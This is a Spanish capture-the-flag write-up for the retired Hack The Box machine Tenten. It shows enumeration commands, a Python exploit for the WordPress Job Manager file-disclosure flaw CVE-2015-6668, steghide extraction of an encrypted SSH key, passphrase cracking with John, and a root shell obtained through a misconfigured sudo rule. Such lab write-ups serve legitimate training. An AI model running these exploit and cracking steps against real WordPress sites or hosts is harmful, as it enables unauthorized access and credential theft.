⭐Tenten – Hack The Box Write-up ⭐
En este write-up compartié el proceso de explotación de la máquina **Tenten** de Hack The Box, que combina vulnerabilidades en plugins de WordPress, técnicas de esteganografía para exfiltrar claves SSH, y escalada de privilegios mediante un binario SUID mal configurado.
Nivel: Media
SO: Linux (Ubuntu)
Dirección IP: 10.10.10.10
Categoría: CTF / Retirada
Etiquetas: WordPress, CVE-2015-6668, Esteganografía, Claves SSH, Escalada de privilegios, Binarios SUID
Descripción general
Este write-up cubre la explotación de la máquina Tenten de Hack The Box, que incluye vulnerabilidades en plugins de WordPress, análisis de esteganografía para extraer claves SSH, y escalada de privilegios a través de un binario SUID mal configurado.
Fases del ataque
1. Enumeración
Escaneo de puertos
sudo nmap -sS -Pn -T4 –min-rate=1000 -p 22,80,443,8080,3306 10.10.10.10

Puertos abiertos:
- 22/tcp – SSH
- 80/tcp – HTTP
Hostname local
Se añade tenten.htb
al fichero /etc/hosts
para poder resolver su nombre y acceder desde el navegador:
echo «10.10.10.10 tenten.htb» | sudo tee -a /etc/hosts

2. Análisis Web
CMS: WordPress
Enumeración con WPScan
wpscan –url http://tenten.htb/ -e u –disable-tls-checks
wpscan –url http://tenten.htb/ -e ap –plugins-detection aggressive –api-token TU_TOKEN
Resultados:
- Usuario identificado:
takis
- Plugin vulnerable:
job-manager
v0.7.25 - CVE: CVE-2015-6668 (file disclosure)

Obtención de datos y nombre de usuario

3. Explotación del plugin vulnerable
El plugin Job Manager de WordPress permite leer archivos arbitrarios usando rutas predecibles. Buscando información sobre este plugin, encontramos que tenemos una posibilidades de hacer fuerza bruta para descubrir posibles archivos subidos.
Uso el script del exploit compartido de la web vagmour.eu a la cual accedo usando Wayback machine. Hago algunos cambios al script para adaptarlo a python3, puesto que estaba programado para python2. Por otro lado, también cambio el rango de fechas en el bucle for porque las publicaciones de la web de tenten.htb son posteriores a ese rango. También añado las extensiones de imagen para que busque archivos de esos formatos y zip por si hubiera algún archivo comprimido interesante.
Creamos un script llamado exploit.py que automatiza la búsqueda de estos archivos en el directorio /wp-content/uploads/, iterando por años, meses y extensiones comunes como .pdf, .doc o .docx.
# exploit.py
import requests
print(«»»
CVE-2015-6668
Title: CV filename disclosure on Job-Manager WP Plugin
Author: Evangelos Mourikis
Versions: <=0.7.25
«»»)
website = raw_input(‘Enter a vulnerable website: ‘)
filename = raw_input(‘Enter a file name: ‘)
filename2 = filename.replace(» «, «-«)
for year in range(2017, 2023):
for i in range(1, 13):
for extension in {‘doc’, ‘pdf’, ‘docx’}:
URL = website + «/wp-content/uploads/» + str(year) + «/» + «{:02}».format(i) + «/» + filename2 + «.» + extension
req = requests.get(URL)
if req.status_code == 200:
print(«[+] URL of CV found! » + URL)
Le damos permisos de ejecución:
chmod +x exploit.py
Y lo ejecutamos:
python3 exploit.py
Nos pedirá el sitio web y el nombre del archivo.
El nombre del archivo lo encontramos ejecutando un script en bash que realiza peticiones iterativas con curl .
Script en bash usando curl para buscar archivos:
for i in $(seq 1 20); do
echo -n «$i: «;
curl -sL http://tenten.htb/index.php/jobs/apply/$i/ | grep ‘<title>’;
done
Archivo detectado: HackerAccessGranted.jpg y en página 13.

Volvemos a ejecutar el exploit y ahora ya sí podemos poner el nombre del archivo HackerAccessGranted además de la url.

Abrimos la URL y obtenemos esta imagen como resultado:
Resultado encontrado:

4. Esteganografía y clave SSH
De esta imagen encontrada, vamos a extraer los datos ocultos de la imagen con Steghide. La esteganografía es una técnica que se usa para ocultar información dentro de imágenes.
wget http://tenten.htb/wp-content/uploads/2017/04/HackerAccessGranted.jpg
Mediante el parámetro info de stenghide descubrimos que tiene un id rsa oculto . Usamos el parámetro extract para extraer esa rsa.
steghide extract -sf HackerAccessGranted.jpg

Resultado: clave privada SSH extraída.
Abrimos el contenido del archivo id rsa y vemos que está encriptado y el algoritmo de encriptación que está usando.
Crack de passphrase:
Abrimos el archivo y nos devuelve un hash. Mediante fuerza bruta con John, obtenemos la contraseña en texto plano.
/usr/share/john/ssh2john.py id_rsa > id_rsa.hash
john –w:/usr/share/wordlists/rockyou.txt id_rsa.hash
Contraseña encontrada: superpassword

Acceso SSH:
Usando la contraseña obtenida, podemos conectarnos por SSH. Lo hacemos usando el archivo id_rsa de identificación, cuya contraseña desencriptamos en el paso anterior, y el usuario takis.
Antes de ello, le asignamos permisos chmod para que no entre en conflicto:
chmod 600 id_rsa

ssh -i id_rsa takis@tenten.htb
Tras obtener acceso, obtenemos la flag del usuario.

5. Escalada de privilegios
Una vez conectados como el usuario takis
vía SSH, el siguiente paso fue buscar una forma de escalar privilegios. Ejecutando el comando id veo que entre otros, el usuario takis pertenece al grupo lxd, lo cual llama la atención porque si hacemos una búsqueda con searchsploit, vemos que es para escalada de privilegios.

Sin embargo, voy a proceder de otra manera.
Usamos sudo -l
para listar los privilegios que voy a tener como usuario takis:

Y comprobamos que tenemos permiso sudo sin contraseña sobre el binario: /bin/fuckin
User takis may run the following commands on tenten:
(ALL : ALL) NOPASSWD: /bin/fuckin
Esto significa que el usuario puede ejecutar el binario /bin/fuckin
como root y sin necesidad de contraseña.
Y, posteriormente, comprobamos que root es el propietario de este binario:

Shell root:
Si listo el contenido del binario, veo que tengo permiso de lectura y que es un scritp en bash al que puedo pasarle argumentos.

Y ya que en este binario puedo ejecutar como el usuario que quiera, sin proporcionar contraseña, podemos hacerlo con sudo para que me lo ejecute root.
Así que obtenemos una shell interactiva como root:
sudo /bin/fuckin bash
Ya estamos como root y obtenemos la flag de usuario root.

🏁 Flags
- User: /home/takis/user.txt
- Root: /root/root.txt
Herramientas utilizadas
- Reconocimiento: nmap, wpscan, curl
- Explotación: Python script, steghide
- Cracking: john, ssh2john
- Post-explotación: ssh, sudo
Conclusiones
- Plugins de WordPress mal configurados pueden permitir divulgación de archivos.
- La esteganografía es útil para ocultar datos sensibles en entornos CTF.
- Es importante revisar los permisos sudo y los binarios SUID.
⚠️ Disclaimer
Este artículo tiene fines únicamente educativos. No uses estos métodos en sistemas que no poseas o no tengas autorización para analizar.
Nota: Por respeto a los Términos de Servicio de Hack The Box y por razones legales, no publico write-ups de máquinas activas («active»), ya que esto constituye una infracción de sus políticas.